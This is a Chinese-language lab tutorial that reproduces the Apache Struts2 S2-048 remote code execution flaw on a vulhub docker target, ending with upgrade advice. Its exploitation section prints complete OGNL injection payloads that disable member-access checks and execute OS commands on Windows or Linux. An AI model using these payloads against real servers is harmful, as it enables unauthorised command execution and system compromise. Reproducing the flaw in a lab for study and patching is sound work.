首頁  >  文章  >  運維  >  怎麼進行Apache Struts2--048遠端程式碼執行漏洞復現

怎麼進行Apache Struts2--048遠端程式碼執行漏洞復現

WBOY
WBOY轉載
2023-05-12 19:43:101554瀏覽

0x00簡介

#Struts2框架是用於開發Java EE網路應用程式的開放原始碼網頁應用程式架構。它利用並延伸了Java Servlet API,鼓勵開發者採用MVC架構。 Struts2以WebWork優秀的設計思想為核心,吸收了Struts框架的部分優點,提供了一個更整潔的MVC設計模式實現的Web應用程式框架。

0x01漏洞概述

Apache Struts2 2.3.x 系列啟用了struts2-struts1-plugin 插件並且存在struts2-showcase 目錄,其漏洞成因是當ActionMessage接收客戶可控的參數資料時,由於後續資料拼接傳遞後處理不當導致任意程式碼執行

0x02影響範圍

Apache Struts 2.3.x系列中啟用了struts2 -struts1-plugin插件的版本。

0x03環境建置

1.自行搭建Apache Struts2較為複雜,本次漏洞環境使用vulhub中的docker環境建置。

下載網址:https://github.com/vulhub/vulhub

#2.下載完成後解壓縮進入s2-048目錄,啟動漏洞環境

#cd cd vulhub -master/struts2/s2-048/    //進入目錄

怎么进行Apache Struts2--048远程代码执行漏洞复现

#docker-compose up -d  //啟動靶場

怎么进行Apache Struts2--048远程代码执行漏洞复现

3.使用docker ps 查看是否啟動成功

怎么进行Apache Struts2--048远程代码执行漏洞复现

#4.在瀏覽器中輸入http:your-ip:8080/hello.action,看到以下頁面環境建置完成

怎么进行Apache Struts2--048远程代码执行漏洞复现

0x04漏洞複現

1. 在瀏覽器輸入下列連結存取漏洞頁面

# http://192.168.3.160:8080/integration/saveGangster.action

怎么进行Apache Struts2--048远程代码执行漏洞复现

2.在第一個表單「Gangster Name」處輸入${1+1},下面隨意輸入,點選submit提交查看執行了OGNL 表達式

怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

#2. 在Gangster Name」處把${1+1 }修改為下列指令執行的payload語句

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[' com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames(). (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@ getRuntime().exec('id').getInputStream())).(#q)}

怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

3. 也可以使用Burp抓包修改成指令執行的payload的語句

註:payload需要使用URL編碼

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?( #_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class )).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id') .(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe', '/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream( true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io. IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

4. 可以使用自動化腳本或圖形化工具實現,這裡不做簡報。

工具可在GitHub上搜尋下載

0x05修復建議

1. 升級 建議升級至最新版本

#2、根據業務狀況,停用關閉(刪除) \struts-2.3.x\apps\struts2-showcase.war套件

以上是怎麼進行Apache Struts2--048遠端程式碼執行漏洞復現的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除